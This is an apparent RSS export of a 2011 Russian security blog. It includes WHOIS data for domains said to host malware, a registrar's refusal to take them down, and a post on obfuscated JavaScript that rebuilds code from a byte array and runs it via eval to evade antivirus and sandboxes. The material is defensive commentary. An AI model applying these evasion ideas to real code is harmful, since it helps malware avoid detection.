style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Источник: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;TCI &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;img src="https://mail.google.com/mail/?ui=2&amp;amp;ik=8068f3a64a&amp;amp;view=att&amp;amp;th=1339229aa7e576bc&amp;amp;attid=0.0.1&amp;amp;disp=emb&amp;amp;zw" alt="http://www.reg.ru/i/newdomain/globe.png" border="0" height="32" width="32" /&gt;&lt;span&gt;&lt;span style="font-size:25.0pt;"&gt;&lt;a href="http://02ie.ru/" target="_blank"&gt;02ie.ru&lt;/a&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;strong&gt;&lt;span&gt;IP-адрес:&lt;/span&gt;&lt;/strong&gt; &lt;a href="http://www.reg.ru/whois/?dname=46.4.82.48" target="_blank"&gt;46.4.82.48&lt;/a&gt; &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;По данным &lt;a href="http://whois.ripn.net/" target="_blank"&gt;WHOIS.RIPN.NET&lt;/a&gt;:&lt;/b&gt; &lt;/p&gt;  &lt;table border="0" cellpadding="0"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Домен: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="http://02ie.ru/" target="_blank"&gt;02IE.RU&lt;/a&gt; &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Сервер DNS: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="http://ns3.fastvps.ru/" target="_blank"&gt;ns3.fastvps.ru&lt;/a&gt;. &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Сервер DNS: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="http://ns4.fastvps.ru/" target="_blank"&gt;ns4.fastvps.ru&lt;/a&gt;. &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Статус: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;зарегистрирован, делегирован, не проверен &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Администратор домена: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;Частное лицо "Private Person" &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;E-mail: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="mailto:poshli@nahuy.ru" target="_blank"&gt;poshli@nahuy.ru&lt;/a&gt; &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Регистратор: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;REGRU-REG-RIPN &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Дата регистрации: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;2011.11.01 &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Дата окончания регистрации: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;2012.11.01 &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Источник: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;TCI &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://03ie.ru/" target="_blank"&gt;&lt;img src="https://mail.google.com/mail/?ui=2&amp;amp;ik=8068f3a64a&amp;amp;view=att&amp;amp;th=1339229aa7e576bc&amp;amp;attid=0.0.1&amp;amp;disp=emb&amp;amp;zw" alt="http://www.reg.ru/i/newdomain/globe.png" border="0" height="32" width="32" /&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="font-size:28.0pt;"&gt;&lt;a href="http://03ie.ru/" target="_blank"&gt;03ie.ru&lt;/a&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;strong&gt;&lt;span&gt;IP-адрес:&lt;/span&gt;&lt;/strong&gt; &lt;a href="http://www.reg.ru/whois/?dname=46.4.82.48" target="_blank"&gt;46.4.82.48&lt;/a&gt; &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;По данным &lt;a href="http://whois.ripn.net/" target="_blank"&gt;WHOIS.RIPN.NET&lt;/a&gt;:&lt;/b&gt; &lt;/p&gt;    &lt;table border="0" cellpadding="0"&gt;&lt;tbody&gt;&lt;tr&gt;   &lt;td style="width:127.5pt;padding:.75pt .75pt .75pt .75pt" width="170"&gt;   &lt;p class="MsoNormal"&gt;Домен: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="http://03ie.ru/" target="_blank"&gt;03IE.RU&lt;/a&gt; &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:127.5pt;padding:.75pt .75pt .75pt .75pt" width="170"&gt;   &lt;p class="MsoNormal"&gt;Сервер DNS: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="http://ns3.fastvps.ru/" target="_blank"&gt;ns3.fastvps.ru&lt;/a&gt;. &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:127.5pt;padding:.75pt .75pt .75pt .75pt" width="170"&gt;   &lt;p class="MsoNormal"&gt;Сервер DNS: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="http://ns4.fastvps.ru/" target="_blank"&gt;ns4.fastvps.ru&lt;/a&gt;. &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:127.5pt;padding:.75pt .75pt .75pt .75pt" width="170"&gt;   &lt;p class="MsoNormal"&gt;Статус: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;зарегистрирован, делегирован, не проверен &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:127.5pt;padding:.75pt .75pt .75pt .75pt" width="170"&gt;   &lt;p class="MsoNormal"&gt;Администратор домена: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;Частное лицо "Private Person" &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:127.5pt;padding:.75pt .75pt .75pt .75pt" width="170"&gt;   &lt;p class="MsoNormal"&gt;E-mail: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="mailto:poshli@nahuy.ru" target="_blank"&gt;poshli@nahuy.ru&lt;/a&gt; &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:127.5pt;padding:.75pt .75pt .75pt .75pt" width="170"&gt;   &lt;p class="MsoNormal"&gt;Регистратор: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;REGRU-REG-RIPN &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:127.5pt;padding:.75pt .75pt .75pt .75pt" width="170"&gt;   &lt;p class="MsoNormal"&gt;Дата регистрации: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;2011.11.01 &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:127.5pt;padding:.75pt .75pt .75pt .75pt" width="170"&gt;   &lt;p class="MsoNormal"&gt;Дата окончания регистрации: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;2012.11.01 &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:127.5pt;padding:.75pt .75pt .75pt .75pt" width="170"&gt;   &lt;p class="MsoNormal"&gt;Источник: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;TCI &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Пишем в Reg.ru - так, мол и так, домены с владельцем (poshli@nahuy.ru ) хостят зловред, давайте их удалим.  На следующий день получаем ответ, цитирую (не думаю, что я что-то нарушу процитировав его, но персоналии, на всякий случай, удалю):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Обычная таблица";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:"";  mso-padding-alt:0cm 5.4pt 0cm 5.4pt;  mso-para-margin:0cm;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Times New Roman";  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class="MsoNormal"&gt;&amp;gt; -----Original Message-----&lt;br /&gt;&amp;gt; From: Клиентская служба [mailto:&lt;a href="mailto:manager@reg.ru"&gt;manager@reg.ru&lt;/a&gt;]&lt;br /&gt;&amp;gt; Sent: Friday, November 11, 2011 2:03 PM&lt;br /&gt;&amp;gt; To:&lt;br /&gt;&amp;gt; Subject: Re: [Ticket#2011111010003016] Заявка "Домены &lt;a href="http://01ie.ru/" target="_blank"&gt;01ie.ru&lt;/a&gt;, &lt;a href="http://02ie.ru/" target="_blank"&gt;02ie.ru&lt;/a&gt;,&lt;br /&gt;&amp;gt; &lt;a href="http://03ie.ru/" target="_blank"&gt;03ie.ru&lt;/a&gt; установка вредоносного ПО без ведома пользователя"&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; Здравствуйте,&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; ООО "Регистратор доменных имен РЕГ.РУ" является Аккредитованным&lt;br /&gt;&amp;gt; регистратором доменных имен и осуществляет свою деятельность в строгом&lt;br /&gt;&amp;gt; соответствии с Правилами регистрации и Регламентами. В соответствии с&lt;br /&gt;&amp;gt; Правилами регистрации доменных имен в домене RU все операции с доменами&lt;br /&gt;&amp;gt; осуществляются на основании заявок от Администратора домена. Если&lt;br /&gt;&amp;gt; Администратором домена являетесь Вы, то Вы вправе на основании&lt;br /&gt;&amp;gt; официального письма совершать любые действия с доменом, в том числе&lt;br /&gt;&amp;gt; аннулировать регистрацию.&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; Если Вы считаете, что информация, расположенная на домене, является&lt;br /&gt;&amp;gt; незаконной, Вам следует обратиться к хостеру, который предоставляет&lt;br /&gt;&amp;gt; хостинг для данного домена. Информацию о хостере Вы можете посмотреть,&lt;br /&gt;&amp;gt; используя сервис WHOIS.&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; Если Вы считаете, что Ваши права нарушены Администратором домена, Вам&lt;br /&gt;&amp;gt; необходимо связаться с ним для выяснения обстоятельств. Контактную&lt;br /&gt;&amp;gt; информацию об Администраторе Вы можете найти в WHOIS.&lt;br /&gt;&amp;gt; В случае, если у Вас не получится уладить Ваши претензии к&lt;br /&gt;&amp;gt; Администратору домена путем переговоров, Вы можете обратиться в суд в&lt;br /&gt;&amp;gt; порядке искового производства.&lt;br /&gt;&amp;gt; Мы, в свою очередь, вправе принять меры к Администратору домена (а&lt;br /&gt;&amp;gt; именно, аннулировать регистрацию этого доменного имени) только на&lt;br /&gt;&amp;gt; основании вступившего в законную силу судебного решения.&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; В соответствии с Правилами регистрации доменных имен в домене RU&lt;br /&gt;&amp;gt; Регистратор аннулирует регистрацию домена на основании судебного&lt;br /&gt;&amp;gt; решения.&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; "9.2. Регистратор самостоятельно прекращает право администрирования&lt;br /&gt;&amp;gt; после получения доказательств наличия вступившего в законную силу&lt;br /&gt;&amp;gt; решения суда:&lt;br /&gt;&amp;gt; (1) запрещающего Администратору использовать в доменном имени&lt;br /&gt;&amp;gt; обозначение, правами на которое обладает истец;&lt;br /&gt;&amp;gt; (2) признающего администрирование домена Администратором нарушением&lt;br /&gt;&amp;gt; прав истца (если применение такого средства восстановления нарушенного&lt;br /&gt;&amp;gt; права не противоречит судебному решению)&lt;br /&gt;&amp;gt; (3) иным образом обязывающего Администратора отказаться от доменного&lt;br /&gt;&amp;gt; имени."&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; --&lt;br /&gt;&amp;gt; С уважением,&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; Специалист Службы по работе с клиентами&lt;br /&gt;&amp;gt; Регистратор доменных имен &lt;a href="http://reg.ru/" target="_blank"&gt;REG.RU&lt;/a&gt;&lt;br /&gt;&amp;gt; Телефон: +7 (495) 580-11-11&lt;br /&gt;&amp;gt; &lt;a href="http://www.reg.ru/" target="_blank"&gt;http://www.reg.ru&lt;/a&gt;&lt;br /&gt;&amp;gt; &lt;a href="http://%d1%80%d0%b5%d0%b3.%d1%80%d1%84/" target="_blank"&gt;http://рег.рф&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt; &lt;span style="font-family:arial;"&gt;В общем, идея коллективной взаимопомощи в мире где все всем по... не важно, умирает. Я не понимаю, почему REG.ru не может удалить эти домены на том простом основании, что предоставленные при регистрации данные не соответствуют действительности...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;PS: написали в хостера. Реакции так же нет.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-6317642018528048498?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/11/regru.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-v6WF2XV-u0M/Tr6jWV-dccI/AAAAAAAAA0s/YbswFLkR10A/s72-c/regru1.JPG" height="72" width="72" /><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-48892987255699440</guid><pubDate>Wed, 09 Nov 2011 15:06:00 +0000</pubDate><atom:updated>2011-11-09T19:52:27.472+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Malware</category><title>Сигнатурные антивирусы, прощайте</title><description>&lt;span style="font-family:arial;"&gt;Продолжая потихоньку сражаться с &lt;a href="http://reply-to-all.blogspot.com/2011/10/web.html"&gt;проблемой&lt;/a&gt;, решил, таки посмотреть, что же там качают...&lt;br /&gt;&lt;br /&gt;Приведу фрагмент странички, хостящей зловред:&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-MZvbRuwYLp0/TrqYcRYXHfI/AAAAAAAAA0g/PpCtMhWDjc0/s1600/1.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 182px;" src="http://1.bp.blogspot.com/-MZvbRuwYLp0/TrqYcRYXHfI/AAAAAAAAA0g/PpCtMhWDjc0/s400/1.JPG" alt="" id="BLOGGER_PHOTO_ID_5673014292095901170" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family: arial;"&gt;Вот, что-то никогда не доводилось взглянуть, а как все интересно!&lt;br /&gt;a - массив чудовищной длины, фактически байтов, которые там раскиданы по порядку, известному разработчику (в данном примере - обратный порядок).&lt;br /&gt;Из этого "набора" потом в переменную s набирается побайтовым "выкусыванием", собственно, код, который затем выполняется в &lt;span style="font-family: courier new;"&gt;eval(s)&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Какому-нибудь сканеру вредоносности кода, чтобы увидеть вредоносность надо его собрать, а чтобы его собрать надо знать алгоритм по которому он разбросан...&lt;br /&gt;&lt;br /&gt;Тему можно дальше развивать до бесконечности:&lt;br /&gt;- также набирать, скажем индекс "выкусывания",&lt;br /&gt;- также набирать "опасные" команды, типа &lt;span style="font-family: courier new;"&gt;eval&lt;/span&gt;, &lt;span style="font-family: courier new;"&gt;substr&lt;/span&gt;, тп&lt;br /&gt;- можно сильно усложнить алгоритм "выкусывания"&lt;br /&gt;- ... человеческая фантазия безгранична ...&lt;br /&gt;Полиморфизм, однако.&lt;br /&gt;&lt;br /&gt;Можно попробовать что-то вроде песочницы, т.е. фактически выполнить код, как это сделал бы браузер. Делать это можно, если недолго (антивирус должен работать незаметно!). Но, можно же вставить искусственные задержки (sleep) , можно вставить естественные задержки, скажем, в цикле пытаться что-то поделать небыстрое, ... - пользователь замучится ждать, пока антивирус собирет - не вариант.&lt;br /&gt;&lt;br /&gt;Печально что мой, не изощренный мозг, ограниченного горе-программиста с ходу придумывает такое количество схем обфускации, практически полностью убивающих идею обнаружения зловреда до его поражения жертвы, что же говорить о высококлассных профи :-(&lt;br /&gt;&lt;br /&gt;Опыт показывает, что все эти сэмплы практически не детектятся никем из Virustotal, пока в соответствующие поддержки не пришлешь сэмплы и они не выпустят экстры. Что уж в этих экстрах - не разбирался, но судя по тому, что ровно такая же штука (с небольшими изменениями) срабатывает снова и снова, складывается недоброе впечатление что там чуть ли не сравнение по MD5 :-(&lt;br /&gt;&lt;br /&gt;PS: я посмотрел в некий .class (использовал &lt;a href="http://download.oracle.com/javase/1,5.0/docs/tooldocs/windows/javap.html"&gt;javap&lt;/a&gt;), там тоже белиберда и substr-ы (java/lang/String.substring). По ходу та же техника....&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-48892987255699440?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/11/blog-post_09.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-MZvbRuwYLp0/TrqYcRYXHfI/AAAAAAAAA0g/PpCtMhWDjc0/s72-c/1.JPG" height="72" width="72" /><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-1619695713234548784</guid><pubDate>Sun, 06 Nov 2011 15:16:00 +0000</pubDate><atom:updated>2011-11-07T09:44:35.355+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Audit</category><title>Приз вместо оплаты услуг, продолжение.</title><description>&lt;a style="font-family: arial;" href="http://reply-to-all.blogspot.com/2011/11/blog-post_04.html"&gt;Публикация &lt;/a&gt;&lt;span style="font-family:arial;"&gt;вызвала любопытный спор в группе &lt;/span&gt;&lt;a style="font-family: arial;" href="http://www.risspa.ru/"&gt;RISSPA &lt;/a&gt;&lt;span style="font-family:arial;"&gt;на &lt;/span&gt;&lt;a style="font-family: arial;" href="http://www.linkedin.com/"&gt;LinkedIn&lt;/a&gt;&lt;span style="font-family:arial;"&gt;-е. Спор - это всегда хорошо, так как он позволяет приблизиться к истине (постараюсь быть самокритичным: есть у меня склонность к &lt;a href="http://ru.wikipedia.org/wiki/%D2%F0%EE%EB%EB%E8%ED%E3"&gt;троллингу&lt;/a&gt;, но, зная за собой сей грешок, всегда стараюсь держать себя в руках) . Мне не показались убедительными доводы моих оппонентов, тогда как собственная логика вполне себе пригодной. В данном блоге я, все-таки, намерен излагать свои умозаключения, но  быть объективным и привести доводы оппонентов и свои ответы на них. Пишу, главным образом, для тех, кто по каким-либо причинам не участвует в нашем RISSPA-LinkedIn-овском междусобойчике :-), но кому идея может показаться любопытной.&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;&lt;br /&gt;Итак, я пытаюсь применить &lt;/span&gt;&lt;a style="font-family: arial;" href="http://clubs.ya.ru/company/replies.xml?item_no=40601"&gt;такие&lt;/a&gt; конкурсы в качестве средства анализа защищенности (теста на проникновение) интернет-сервисов коммерческой компании. Такой подход, на мой взгляд, имеет ряд серьезных преимуществ для Заказчика (коммерческой компании):&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-family:arial;"&gt;Выбор подрядчика происходит по факту выполненных работ, а не на основании предположения как подрядчик, наверно, это сделает. Сложившаяся практика такова: Заказчик пишет Техтребования, требования к квалификации подрядчика, вывешивает их на свой сайт с предложением слать оферты. Потенциальные Подрядчики высылают в назначенный час свои оферты с информацией о том, какие они хорошие. Заказчик рассматривает предложения, отсеивает тех, кто не проходит по каким-либо квалификационным требованиям, а из оставшихся квалифицированных выбирает по минимальной цене победителя. Т.е. на момент выбора Подрядчика Заказчик не имеет ни малейшей уверенности, что Подрядчик отработает хорошо. Критерий минимальной цены здесь играет далеко не в интересах Заказчика.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;"&gt;Множество независимых результатов позволит более объективно оценить качество работ. По "устоявшейся" схеме после отработки подрядчика Заказчик получит &lt;span style="font-style: italic;"&gt;единственный &lt;/span&gt;результат, собственно, результат работы Подрядчика. Для оценки качества работы Подрядчика, Заказчику, в случае пентеста, надо провести свой пентест: ОК, если Подрядчик нашел хоть что-то, но если он не нашел ничего, означает ли это, что Заказчик хорошо защищен? Или просто Подрядчик так отработал (как смог)? Множество независимых результатов эту проблему смягчают: если Подрядчик1 не нашел ничего, а Подрядчик2 - что-то, - уже есть смысл задуматься.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;"&gt;Заказчик гарантированно впишется в свой бюджет. Тут все понятно: Заказчик сам объявляет приз, и не возможна ситуация, когда запланированный на пентест бюджет ниже любой присланной оферты.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;"&gt;Подобные конкурсы позволят открывать новые имена. При открытом конкурсе, когда участвовать сможет каждый желающий, больше шансов для формирования действительно конкурентной среды, что, безусловно, повысит качество услуг.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-family:arial;"&gt;Изобретатели и яростные сторонники современных тендерных процедур мне возразят, что оплата всегда производится по факту выполненных работ и это гарантирует Заказчику защиту от некачественных услуг. Но, не все так просто. Крайне тяжело оценить качество пентеста, когда есть просто куча &lt;a href="http://reply-to-all.blogspot.com/2008/12/blog-post_12.html"&gt;НО&lt;/a&gt;. Фактически, чтобы доказать Подрядчику, что работы, им проделанные, низкого качества, Заказчику надо провести аналогичные работы.... иначе, я не знаю как. Очевидно, нанимая Подрядчика, Заказчик тем самым подтверждает по тем или иным причинам свою неспособность в выполнении этих работ, а следовательно, Подрядчик неплохо устроился :-)&lt;br 